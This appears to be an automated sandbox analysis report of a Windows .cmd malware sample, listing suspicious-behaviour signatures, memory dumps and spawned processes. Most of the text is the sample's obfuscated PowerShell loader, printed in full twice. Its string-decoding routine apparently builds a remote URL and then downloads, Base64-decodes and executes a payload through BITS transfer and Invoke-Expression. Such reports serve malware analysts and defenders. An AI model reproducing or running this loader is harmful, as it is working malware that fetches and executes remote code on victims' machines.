Analysis
- max time kernel
148s - max time network
153s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
13/03/2024, 09:06
General
- Target 13032024_1706_windows.cmd
- Size 5KB
- Sample240313-k271qsbc69
- SHA256 b6ee4e50033f168d033d2b58defc9429f5bed66f2bcc22a364cebe45cd20c5ef
Score
1/10
Malware Config
Signatures
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\13032024_1706_windows.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "++$Zeunerite;++$Zeunerite;$Zeunerite=$Zeunerite-1;Function Aarsagerne ($Udkommanderingernes){$Datolysets=5;$Datolysets++;For($Kolerikeres=5; $Kolerikeres -lt $Udkommanderingernes.Length-1; $Kolerikeres+=$Datolysets){$Skgpest = 'substring';$Sanmarineseres=$Udkommanderingernes.$Skgpest.Invoke($Kolerikeres, 1);$Rugger=$Rugger+$Sanmarineseres}$Rugger;}$Tiffish=Aarsagerne 'Letteh,otostUforatRekorp f lesshort:Satu / Emul/nonc k Pr siRanchsLderjaBeskan viisbR.efoeOverat.ocarhU,sewaFoliok Tres. agerc ,ubaoInclamBrina/Mo.toPDacry/ .hilT Snfty Disbn arendEstraeVip en aneldForede.jusk.P ukkdErhves udvapTrave ';$Adresseinformationer=$Tiffish.split([char]62);$Tiffish=$Adresseinformationer[0];$Skifte=Aarsagerne ' UdviiLdereeStatoxRubbe ';$Polyideic = Aarsagerne 'Kalkm\BroilsMultiy AftrsBabylwhovedoDikkew Sand6 Extr4Hoved\ AflsWPrankiMisinnRagendGgedeoAfdrawSnapjs protP.affeoTerebw Ga.teChefmrHgebrSOutgahMe,sae Ved.lAkkumlbvssl\ShadovP rit1.risb.Rigge0 ank\N ttep ForkoUnconwN.ndieArchhr S,ils Seksh lab,eDemitlKonomlHeksa.E.ogeeF.ottxAddereUn,en ';.($Skifte) (Aarsagerne 'Brugt$PolyoL,psoanExporn Un.te Suevnawes.d St teRingss dem 2Altru2Resnd=Proph$Ving eUnhernSpermvprero:RedouwProadiEvidenPondedMartii Bistr So,a ') ;.($Skifte) (Aarsagerne ' Phon$Pav.nPFlibbo Lu tlSsteryUdsyriKraned Ugree D,ckiT.lnecFangs=Forsk$Sou bLT,lsanGu venkrakee towanD.cimdLyknseH,bils Skiv2Storb2primo+Ufors$BortrPTeo roWashllvigneyIndheiHur.ad Arroecos oiTumorc .nex ') ;.($Skifte) (Aarsagerne 'Rubbl$i,troESthenl Vedge begrcViltrt,ubilretiquiB.llsoCave,nSetbaiCatfacDr.it Af al=Lens. Re.a(Op.dr( Sublg tenwHomesmGo,dii,ervi Bootsw.undri woe.n,ngde3Mo oz2.okss_ForsypVerrurAdap.o .oppcUdemre Pa,tsXalossSynch Skoma- SpkkFSe.es .arbP PlumrSalvaoAf.ifcDyrkeeCosmosKatolsTkke I Sv gdVr,nt=Oper.$Ti,ht{Acc sPToperIMetalDTubul}Outco) Jasm.SagsgCStatsoLiniymK ssemfacieaVest nAlmacd S reL Sirri ockenSan he Elec)Unsav Ejend-systesLevnepA eisl BodyiM crot toba pr,ce[ OvercElecthblaakaDdtrtrTredj]Baubo3Kingw4color ');.($Skifte) (Aarsagerne 'Pirre$ddmanBS andoPerreuOpistb.fkaso Resiu T.igs Reyo Subs=Ichne Van,l$Si,yfEEnterlInviieTetracCathatEv,ntrCoevaiS.ncto EftenBigeliOku,ecRe ap[S,agg$ PharEUar ilArtl.eImprocanth,t StabrForgoiApprooExaggn Par.iBaan.c Tils..lutocZloteoOuttauBas.in ,hent rick-Mal,e2Nonad]Seism ');.($Skifte) (Aarsagerne 'Top.p$W.lgaEKaut vmultiePhotonForbieUdtradV.dhn=Udt,e( ,utoTB.akeeNumissAbbretPlen.-UtilbPOver a KodrtYojanhSamme No gi$ass,rP stivoAtt,ilHorriyLandbiUmorad du,leAutopi.ennecAnaem)I.dta Brdde-NucicA ightnGrantdcoadm je,aa(Terri[ prinI MedlnBlandtAst.oPNo.mitSuld.runder]Hy.ri:melan:lineysSymboiUreoszPrefoeVedhn Ledig-ElecteskydeqBasel Ek.pe8Arbej)Klapp ') ;if ($Evened) {.$Polyideic $Boubous;} else {;$Faksimileudgavens=Aarsagerne 'Quin.SUnwort An,ea,eddirBoremtJ sti-Rea,pBUds.iiPar st BjlksSkoggTTaxafrTimbraCen rnBedtisNumerfUdlaaeSociarNit,r Bl,ds-BekenS demaoTimabuMatutrUneracAdigheSangu nonex$AfhenTSump iInonefBrut fDemoniP.pers SubphBenef S,tur-Man.sDChowdeSensasPara,t Mixti AcednBlac,aPistotFrkn iFremfoB.lignU.bor Unlu,$,hotoLParaln EthonHamsteStasin ,uzedUns,le,nchysDi,se2Con a2Hyali ';.($Skifte) (Aarsagerne 'Navne$IntraL Denun rlovnAltereBrasenSkydedTid.neBredbs,arne2 Fina2 Neds=inter$ ordeeVedisnFattevRever:KorreaBardlpAcroppRandid UnesaIonistBloomaRente ') ;.($Skifte) (Aarsagerne 'Hist.Iregi.m Se,vpBepudo He grEvinctMe,yl-ka peMChampo K,ttd FletuKulanlUmisfeOpsti BardeBZoolii A,skt R,vistank,TReinvr CoveaDeforn .rimsKlokkf andle,ohesrSideo ') ;$Lnnendes22=$Lnnendes22+'\Trinskifters.Lkk';while (-not $Sekretariatsmedarbejderne238) {.($Skifte) (Aarsagerne 'Mi.ds$Ba inSM.moreLindek,risirFranceRa int Cu,ga,luterBenefiRansaa.andetEven s Pa.am,kumrePl,ntd Cal,aSkarprSolo.b.hinne Attaj Vi dd dskyeDuncerHundenlib ieVau,h2 Fors3Ragma8Despa=Plan,(UdemiTproloeginnes im rtBlsev-PundePStandaTidsstInterhelegi Forlo$MottoLI.ternStalanKdgryeUnpern Amind She,eOvermsJernb2Sekst2epi.o)Carer ') ;.($Skifte) $Faksimileudgavens;.($Skifte) (Aarsagerne 'Fora,ST,evet SlapaSummerMagtmtBenef-Coa,eSKurmalPosereByproeHeliap Tuli Outta5Data. ');$Tiffish=$Adresseinformationer[$Brnetestamente++%$Adresseinformationer.count];}.($Skifte) (Aarsagerne ' had$Or,anSTotaltFertivVrdigeCranin.romidForbeeNatti Udela=Hunde As.erG.oweleRedo,tForma-RiksmC,rystoMotornpie.otDemateHandlnDommetUnder G de$Mu saL MusinCalcunHov,deNonenn Mu.kd,ndopePatolsRibbo2 resi2Sv,ni ');.($Skifte) (Aarsagerne 'Edomi$D iftBSpooly arveg,endeg,ggree At.of HypoeBrownjAlk,hl,nodoeNive nRoeg sSphae Fligl=Mexic Po pe[,ebygSTalboyS.irisS,olet ardie Levem onek. FrapCStanloSlyngn ChilvSherie SalmrM,numt Afte]Blin.:Bi na:raderFlandsr St,ioGr vemIn,erBFue iaS.ionsRakeleRoev.6Botsw4MetanSSwimwt BonerA.chiiBefalnP ggegDefo.( Reli$ hancSIntertGone vOrthoeH,ternHidaldShe ieOverp)Zobl, ');.($Skifte) (Aarsagerne ',koff$proteCBoyunaIso.nrMastobVe icoEyebenHydroiLogermSkr giUnappdforsyeKa.ak Kodri=Efter mikr[HildeSTipsty ,urosHelbrtBrmmeepopkumS kto.SkarnT Attie Bowlx An,rtUdgiv.Anal.EUdrydnSpillcHowi oAmph dPa,tsi coagnbra,ig Spec]Somme:Darwi:LuxusA HellSFeberCDiagnIBenziI ange. .yngGThorseKom.ltHemomSkrambtDe,serNo.voi FjerntransgHonn.(,irog$Fle.tBantedyKa yogC,umpg sydfe erof PemmesnydejYogu.lSikkee UdganImm,gscr,no)Vrdis ');.($Skifte) (Aarsagerne ' ilm$StorvPBankarGlissoOryzol ,ntyereconp drvttInboaiBioanc ,rbesDirek=Per,e$LampeCIndu.aThreprSmarabtarb,ob ldenEnsuiiUns lmAho kiMaystdIdenteastuc. derbsSchizuR.mmebPr.slsMaanetStormrTrammiFicusnEftergEdgeo( Ibru3Uigur4Kinde1Antel5,vert9Drvty1Bewra,Lejd,2 P eb5cambo1Hjred6Bar.i0Berve)Turn ');.($Skifte) $Proleptics;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Zeunerite;++$Zeunerite;$Zeunerite=$Zeunerite-1;Function Aarsagerne ($Udkommanderingernes){$Datolysets=5;$Datolysets++;For($Kolerikeres=5; $Kolerikeres -lt $Udkommanderingernes.Length-1; $Kolerikeres+=$Datolysets){$Skgpest = 'substring';$Sanmarineseres=$Udkommanderingernes.$Skgpest.Invoke($Kolerikeres, 1);$Rugger=$Rugger+$Sanmarineseres}$Rugger;}$Tiffish=Aarsagerne 'Letteh,otostUforatRekorp f lesshort:Satu / Emul/nonc k Pr siRanchsLderjaBeskan viisbR.efoeOverat.ocarhU,sewaFoliok Tres. agerc ,ubaoInclamBrina/Mo.toPDacry/ .hilT Snfty Disbn arendEstraeVip en aneldForede.jusk.P ukkdErhves udvapTrave ';$Adresseinformationer=$Tiffish.split([char]62);$Tiffish=$Adresseinformationer[0];$Skifte=Aarsagerne ' UdviiLdereeStatoxRubbe ';$Polyideic = Aarsagerne 'Kalkm\BroilsMultiy AftrsBabylwhovedoDikkew Sand6 Extr4Hoved\ AflsWPrankiMisinnRagendGgedeoAfdrawSnapjs protP.affeoTerebw Ga.teChefmrHgebrSOutgahMe,sae Ved.lAkkumlbvssl\ShadovP rit1.risb.Rigge0 ank\N ttep ForkoUnconwN.ndieArchhr S,ils Seksh lab,eDemitlKonomlHeksa.E.ogeeF.ottxAddereUn,en ';.($Skifte) (Aarsagerne 'Brugt$PolyoL,psoanExporn Un.te Suevnawes.d St teRingss dem 2Altru2Resnd=Proph$Ving eUnhernSpermvprero:RedouwProadiEvidenPondedMartii Bistr So,a ') ;.($Skifte) (Aarsagerne ' Phon$Pav.nPFlibbo Lu tlSsteryUdsyriKraned Ugree D,ckiT.lnecFangs=Forsk$Sou bLT,lsanGu venkrakee towanD.cimdLyknseH,bils Skiv2Storb2primo+Ufors$BortrPTeo roWashllvigneyIndheiHur.ad Arroecos oiTumorc .nex ') ;.($Skifte) (Aarsagerne 'Rubbl$i,troESthenl Vedge begrcViltrt,ubilretiquiB.llsoCave,nSetbaiCatfacDr.it Af al=Lens. Re.a(Op.dr( Sublg tenwHomesmGo,dii,ervi Bootsw.undri woe.n,ngde3Mo oz2.okss_ForsypVerrurAdap.o .oppcUdemre Pa,tsXalossSynch Skoma- SpkkFSe.es .arbP PlumrSalvaoAf.ifcDyrkeeCosmosKatolsTkke I Sv gdVr,nt=Oper.$Ti,ht{Acc sPToperIMetalDTubul}Outco) Jasm.SagsgCStatsoLiniymK ssemfacieaVest nAlmacd S reL Sirri ockenSan he Elec)Unsav Ejend-systesLevnepA eisl BodyiM crot toba pr,ce[ OvercElecthblaakaDdtrtrTredj]Baubo3Kingw4color ');.($Skifte) (Aarsagerne 'Pirre$ddmanBS andoPerreuOpistb.fkaso Resiu T.igs Reyo Subs=Ichne Van,l$Si,yfEEnterlInviieTetracCathatEv,ntrCoevaiS.ncto EftenBigeliOku,ecRe ap[S,agg$ PharEUar ilArtl.eImprocanth,t StabrForgoiApprooExaggn Par.iBaan.c Tils..lutocZloteoOuttauBas.in ,hent rick-Mal,e2Nonad]Seism ');.($Skifte) (Aarsagerne 'Top.p$W.lgaEKaut vmultiePhotonForbieUdtradV.dhn=Udt,e( ,utoTB.akeeNumissAbbretPlen.-UtilbPOver a KodrtYojanhSamme No gi$ass,rP stivoAtt,ilHorriyLandbiUmorad du,leAutopi.ennecAnaem)I.dta Brdde-NucicA ightnGrantdcoadm je,aa(Terri[ prinI MedlnBlandtAst.oPNo.mitSuld.runder]Hy.ri:melan:lineysSymboiUreoszPrefoeVedhn Ledig-ElecteskydeqBasel Ek.pe8Arbej)Klapp ') ;if ($Evened) {.$Polyideic $Boubous;} else {;$Faksimileudgavens=Aarsagerne 'Quin.SUnwort An,ea,eddirBoremtJ sti-Rea,pBUds.iiPar st BjlksSkoggTTaxafrTimbraCen rnBedtisNumerfUdlaaeSociarNit,r Bl,ds-BekenS demaoTimabuMatutrUneracAdigheSangu nonex$AfhenTSump iInonefBrut fDemoniP.pers SubphBenef S,tur-Man.sDChowdeSensasPara,t Mixti AcednBlac,aPistotFrkn iFremfoB.lignU.bor Unlu,$,hotoLParaln EthonHamsteStasin ,uzedUns,le,nchysDi,se2Con a2Hyali ';.($Skifte) (Aarsagerne 'Navne$IntraL Denun rlovnAltereBrasenSkydedTid.neBredbs,arne2 Fina2 Neds=inter$ ordeeVedisnFattevRever:KorreaBardlpAcroppRandid UnesaIonistBloomaRente ') ;.($Skifte) (Aarsagerne 'Hist.Iregi.m Se,vpBepudo He grEvinctMe,yl-ka peMChampo K,ttd FletuKulanlUmisfeOpsti BardeBZoolii A,skt R,vistank,TReinvr CoveaDeforn .rimsKlokkf andle,ohesrSideo ') ;$Lnnendes22=$Lnnendes22+'\Trinskifters.Lkk';while (-not $Sekretariatsmedarbejderne238) {.($Skifte) (Aarsagerne 'Mi.ds$Ba inSM.moreLindek,risirFranceRa int Cu,ga,luterBenefiRansaa.andetEven s Pa.am,kumrePl,ntd Cal,aSkarprSolo.b.hinne Attaj Vi dd dskyeDuncerHundenlib ieVau,h2 Fors3Ragma8Despa=Plan,(UdemiTproloeginnes im rtBlsev-PundePStandaTidsstInterhelegi Forlo$MottoLI.ternStalanKdgryeUnpern Amind She,eOvermsJernb2Sekst2epi.o)Carer ') ;.($Skifte) $Faksimileudgavens;.($Skifte) (Aarsagerne 'Fora,ST,evet SlapaSummerMagtmtBenef-Coa,eSKurmalPosereByproeHeliap Tuli Outta5Data. ');$Tiffish=$Adresseinformationer[$Brnetestamente++%$Adresseinformationer.count];}.($Skifte) (Aarsagerne ' had$Or,anSTotaltFertivVrdigeCranin.romidForbeeNatti Udela=Hunde As.erG.oweleRedo,tForma-RiksmC,rystoMotornpie.otDemateHandlnDommetUnder G de$Mu saL MusinCalcunHov,deNonenn Mu.kd,ndopePatolsRibbo2 resi2Sv,ni ');.($Skifte) (Aarsagerne 'Edomi$D iftBSpooly arveg,endeg,ggree At.of HypoeBrownjAlk,hl,nodoeNive nRoeg sSphae Fligl=Mexic Po pe[,ebygSTalboyS.irisS,olet ardie Levem onek. FrapCStanloSlyngn ChilvSherie SalmrM,numt Afte]Blin.:Bi na:raderFlandsr St,ioGr vemIn,erBFue iaS.ionsRakeleRoev.6Botsw4MetanSSwimwt BonerA.chiiBefalnP ggegDefo.( Reli$ hancSIntertGone vOrthoeH,ternHidaldShe ieOverp)Zobl, ');.($Skifte) (Aarsagerne ',koff$proteCBoyunaIso.nrMastobVe icoEyebenHydroiLogermSkr giUnappdforsyeKa.ak Kodri=Efter mikr[HildeSTipsty ,urosHelbrtBrmmeepopkumS kto.SkarnT Attie Bowlx An,rtUdgiv.Anal.EUdrydnSpillcHowi oAmph dPa,tsi coagnbra,ig Spec]Somme:Darwi:LuxusA HellSFeberCDiagnIBenziI ange. .yngGThorseKom.ltHemomSkrambtDe,serNo.voi FjerntransgHonn.(,irog$Fle.tBantedyKa yogC,umpg sydfe erof PemmesnydejYogu.lSikkee UdganImm,gscr,no)Vrdis ');.($Skifte) (Aarsagerne ' ilm$StorvPBankarGlissoOryzol ,ntyereconp drvttInboaiBioanc ,rbesDirek=Per,e$LampeCIndu.aThreprSmarabtarb,ob ldenEnsuiiUns lmAho kiMaystdIdenteastuc. derbsSchizuR.mmebPr.slsMaanetStormrTrammiFicusnEftergEdgeo( Ibru3Uigur4Kinde1Antel5,vert9Drvty1Bewra,Lejd,2 P eb5cambo1Hjred6Bar.i0Berve)Turn ');.($Skifte) $Proleptics;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
AKDFK46803C1JUNEMTCM.temp
memory/2656-16-0x0000000000240000-0x0000000000280000-memory.dmp
memory/2656-13-0x0000000073680000-0x0000000073C2B000-memory.dmp
memory/2656-32-0x0000000000240000-0x0000000000280000-memory.dmp
memory/2656-31-0x0000000073680000-0x0000000073C2B000-memory.dmp
memory/2656-15-0x0000000000240000-0x0000000000280000-memory.dmp
memory/2656-14-0x0000000073680000-0x0000000073C2B000-memory.dmp
memory/2656-17-0x0000000000240000-0x0000000000280000-memory.dmp
memory/3008-10-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-7-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-5-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/3008-9-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp
memory/3008-27-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/3008-28-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-29-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-30-0x00000000027B0000-0x0000000002830000-memory.dmp
memory/3008-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/3008-6-0x0000000001FB0000-0x0000000001FB8000-memory.dmp